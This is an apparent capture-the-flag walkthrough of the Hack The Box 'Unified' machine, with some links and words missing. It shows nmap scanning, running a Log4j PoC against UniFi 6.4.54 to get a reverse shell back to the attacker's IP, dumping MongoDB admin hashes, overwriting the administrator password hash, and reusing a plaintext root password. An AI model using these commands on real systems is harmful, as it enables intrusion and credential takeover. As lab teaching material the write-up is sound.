Unified
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
Part of Starting Point's Tier 2 boxes, Unified revolves around exploiting the Log4j vulnerability. Securing the initial foothold entails identifying the application's version through meticulous enumeration of the web server. Subsequently, leveraging a readily available allows us to gain access to the application using the administrator
account. Further reconnaissance within the site exposes plaintext SSH credentials, allowing us to root the box.
1
Web server enumeration
Browser
Web app's version
2
Researching
Browser
Log4j vulnerability &
3
Using
Foothold
4
Updating admin's password
Web application credentials
5
Web server enumeration
Browser
Privilege escalation
As always, let's start with a port scan. For efficiency, we will run a fast (-T5 --min-rate 10000
) all-ports (-p-
) scan first to find out which of them are open (-open
), and then we will do a version scanning (-sV
) as well as use Nmap's default scripts (-sC
) against open ports only.
# Scanning all ports at maximum speed
$ sudo nmap 10.129.158.126 -T5 --min-rate 10000 -open -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 17:37 BST
Nmap scan report for
Based on Nmap's output, we can note some things down:
There is an SSH port open (22
) which might represent the way to access the box.
There is an HTTP port (8080
) which redirects to https://10.129.158.126:8443/manage
which seems interesting.
The port 6789
seems to be used for an application called UniFi Mobile Speed Test.
The last port (8880
) is related with a protocol called and it's also related with the .
By visiting the redirected URL we found above, we land on the UniFi login page which also include its version: 6.4.54
(Figure 1).
Since we know the application's version, we can check if any known vulnerability exists. Doing that, reveals the Log4j vulnerability (Figure 2.1) as well as a GitHub repository with a (Figure 2.2).
UniFi 6.4.54
.The SprocketSecurity article includes both an exploitation and a post-exploitation route, but let's first try the PoC as it involves less steps. By opening a listener (Figure 3.1) and following the PoC's execution instructions (Figure 3.2), we indeed achieve and secure our foothold (Figure 3.3).
# executing the PoC
sudo python3 exploit.py -u https://10.129.96.149:8443 -i 10.10.14.147 -p 1337
Before searching for the flag, we can first upgrade our shell (Figure 4).
# Checking if script is available
which script
# Spawning the bash shell
script /dev/null -c /bin/bash
# Backgrounding the shell (CTRL+Z)
^Z
# Checking the configurations of our local shell
echo $TERM && stty size
# Disabling echo, passing I/O straight through, and foregrounding the shell
stty raw -echo; fg
# Setting terminals dimensions
stty rows 51 cols 209
# Exproting terminal
export TERM=xterm
script
.We can now read the user.txt
flag within the home directory of the sole user of the box.
# Checking users
unifi@unified:/unifi/data$ ls /home
michael
# Reading the user flag
unifi@unified:/unifi/data$ cat /home/michael/user.txt
6ce<REDACTED>127
The post-exploitation part of the article refers to a mongodb from which we can dump password hashes from. Let's check if we can do that (Figure 5).
# Dumping the password hashes
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
Next, according to the article, we can encrypt a new password (Figure 6.1) and use it to change the administrator
's password (Figure 6.2), so we can then use it to log in into the UniFi portal as a privileged user (Figure 7).
# Encrypting the new password
mkpasswd -m sha-512 Password123!
# Changing the administrator's password
mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$Zpy/bK4oaMXbjkwG$gPVsT76.dDkLpzgvEZm39v2kvkqfytwFzuzOHOW5MmkgFtN9UXDbg0FZ58hckZEq2g83mE9bWNqXDi6itVvd91"}})'
administrator
's password.administrator
.By enumerating the UniFi portal, we can find the root
's plaintext password (Figure 8) which we can use right away and read the root.txt
flag 🚩 (Figure 9).
root
's SSH password.